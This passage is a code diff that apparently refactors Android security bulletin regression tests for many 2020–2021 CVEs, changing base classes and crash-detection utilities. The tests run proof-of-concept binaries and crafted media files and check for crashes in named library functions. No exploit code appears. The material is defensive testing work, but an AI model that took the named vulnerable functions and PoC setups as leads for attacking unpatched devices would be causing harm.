+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
-
import java.util.Arrays;
-import java.util.ArrayList;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0034 extends SecurityTestCase {
+public class CVE_2020_0034 extends NonRootSecurityTestCase {
/**
* b/62458770
@@ -40,9 +40,9 @@
pocPusher.only32();
String binaryName = "CVE-2020-0034";
String inputFiles[] = {"cve_2020_0034.ivf"};
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.inputFiles = Arrays.asList(inputFiles);
testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
index 3a87304..8e913fa 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0037 extends SecurityTestCase {
+public class CVE_2020_0037 extends NonRootSecurityTestCase {
/**
* b/143106535
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
index c197972..3239482 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0038 extends SecurityTestCase {
+public class CVE_2020_0038 extends NonRootSecurityTestCase {
/**
* b/143109193
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
index 76ce470..eaf4141 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0039 extends SecurityTestCase {
+public class CVE_2020_0039 extends NonRootSecurityTestCase {
/**
* b/143155861
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
index 7c00d84..85cd75c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0072 extends SecurityTestCase {
+public class CVE_2020_0072 extends NonRootSecurityTestCase {
/**
* b/147310271
@@ -35,7 +38,6 @@
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0072", getDevice());
- testConfig.checkCrash = false;
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 7a09a25..cbf3ef1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -18,8 +18,9 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -28,7 +29,7 @@
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0073 extends SecurityTestCase {
+public class CVE_2020_0073 extends NonRootSecurityTestCase {
/**
* b/147309942
@@ -43,9 +44,9 @@
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
String binaryName = "CVE-2020-0073";
- String[] signals = {CrashUtils.SIGABRT};
+ String[] signals = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_t2t_handle_tlv_detect_rsp"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
index 614447c..f523d47 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0226 extends SecurityTestCase {
+public class CVE_2020_0226 extends NonRootSecurityTestCase {
/**
* b/150226994
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
index 237ed83..f5189fa 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
@@ -18,17 +18,18 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.regex.Pattern;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0241 extends SecurityTestCase {
+public class CVE_2020_0241 extends NonRootSecurityTestCase {
/**
* b/151456667
@@ -43,10 +44,10 @@
pocPusher.only32();
String binaryName = "CVE-2020-0241";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
"android::NuPlayer::NuPlayerStreamListener::NuPlayerStreamListener"));
- String signals[] = {CrashUtils.SIGABRT};
+ String[] signals = {TombstoneUtils.Signals.SIGABRT};
testConfig.config.setSignals(signals);
testConfig.config.setAbortMessageIncludes(
AdbUtils.escapeRegexSpecialChars("Pure virtual function called"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
index 2ba62bf..f9cd2e2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0243 extends SecurityTestCase {
+public class CVE_2020_0243 extends NonRootSecurityTestCase {
/**
* b/151644303
@@ -33,8 +36,8 @@
@AsbSecurityTest(cveBugId = 151644303)
public void testPocCVE_2020_0243() throws Exception {
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0243", getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns("mediaserver");
- testConfig.config.checkMinAddress(false);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+ testConfig.config.setIgnoreLowFaultAddress(false);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
index 2bc254e..094eaea 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
@@ -19,7 +19,7 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0338 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0338 extends NonRootSecurityTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 123700107)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
index 12edb1a..6eb6bff 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -20,18 +20,19 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0381 extends SecurityTestCase {
+public class CVE_2020_0381 extends NonRootSecurityTestCase {
/**
* b/150159669
@@ -43,9 +44,9 @@
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
String binaryName = "CVE-2020-0381";
String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_ptbl"));
testConfig.config.setSignals(signals);
testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
index 72765d6..f73d812 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -20,18 +20,19 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0383 extends SecurityTestCase {
+public class CVE_2020_0383 extends NonRootSecurityTestCase {
/**
* b/150160279
@@ -43,9 +44,9 @@
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
String binaryName = "CVE-2020-0383";
String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
testConfig.config.setSignals(signals);
testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
index 34c66de..42505ca 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -20,18 +20,19 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0384 extends SecurityTestCase {
+public class CVE_2020_0384 extends NonRootSecurityTestCase {
/**
* b/150159906
@@ -43,9 +44,9 @@
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
String binaryName = "CVE-2020-0384";
String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(
new BacktraceFilterPattern("libmidiextractor", "Convert_art"));
testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
index 0f9e7d2..6bbc89e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -20,18 +20,19 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0385 extends SecurityTestCase {
+public class CVE_2020_0385 extends NonRootSecurityTestCase {
/**
* b/150160041
@@ -43,9 +44,9 @@
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
String binaryName = "CVE-2020-0385";
String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
testConfig.config.setSignals(signals);
testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
index bff13f3..eac0339 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
@@ -18,12 +18,15 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0420 extends SecurityTestCase {
+public class CVE_2020_0420 extends NonRootSecurityTestCase {
/**
* b/162383705
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
index 27e202c..63c8128 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0448 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0448 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2020-0448.apk";
static final String TEST_PKG = "android.security.cts.CVE_2020_0448";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
index 84b45a0..af83080 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
@@ -18,13 +18,14 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0458 extends SecurityTestCase {
+public class CVE_2020_0458 extends NonRootSecurityTestCase {
/**
* b/160265164
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
index e3f6c26..c9b448f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
@@ -18,12 +18,15 @@
import static org.junit.Assert.*;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11164 extends SecurityTestCase {
+public class CVE_2020_11164 extends NonRootSecurityTestCase {
/**
* CVE-2020-11164
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
index a15335a..a68d2e6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
@@ -1,12 +1,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11173 extends SecurityTestCase {
+public class CVE_2020_11173 extends NonRootSecurityTestCase {
/**
* CVE-2020-11173
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
index 9664abf..c1df440 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
@@ -4,12 +4,15 @@
import static org.junit.Assume.*;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11282 extends SecurityTestCase {
+public class CVE_2020_11282 extends NonRootSecurityTestCase {
/**
* CVE-2020-11282
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
index a285cd3..a5e6557 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
@@ -16,14 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29374 extends SecurityTestCase {
+public class CVE_2020_29374 extends NonRootSecurityTestCase {
/**
* b/174737879
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
index db50504..c02a2ec 100755
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
@@ -16,14 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29661 extends SecurityTestCase {
+public class CVE_2020_29661 extends NonRootSecurityTestCase {
/**
* b/182917768
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index 4b1bc22..9df42ae 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.After;
import org.junit.Assert;
@@ -38,7 +38,7 @@
* collected from the hostside and reported accordingly.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0305 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
index 2cd9f7a..c85c732 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0313 extends SecurityTestCase {
+public class CVE_2021_0313 extends NonRootSecurityTestCase {
/**
* b/170968514
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
index 7487d15..1476e91 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,25 +27,24 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0315 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0315 extends NonRootSecurityTestCase {
static final String TEST_PKG = "android.security.cts.CVE_2021_0315";
- ITestDevice mDevice;
@After
public void tearDown() throws Exception {
- AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", mDevice);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", getDevice());
}
@AsbSecurityTest(cveBugId = 169763814)
@Test
public void testPocCVE_2021_0315() throws Exception {
- mDevice = getDevice();
- uninstallPackage(mDevice, TEST_PKG);
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
/* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", mDevice);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", mDevice);
